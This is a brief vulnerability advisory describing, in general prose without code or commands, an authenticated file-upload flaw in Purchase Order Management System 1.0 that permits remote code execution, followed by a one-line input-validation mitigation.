Purchase Order Management System 1.0 – Remote File Upload

This exploit allows an attacker to upload a malicious file to the server, which can be used to execute arbitrary code on the server. The exploit is possible due to the lack of proper input validation in the application's upload functionality. The attacker can use the application's login credentials to gain access to the application and upload the malicious file.

Mitigation:

Input validation should be implemented to prevent malicious files from being uploaded to the server.
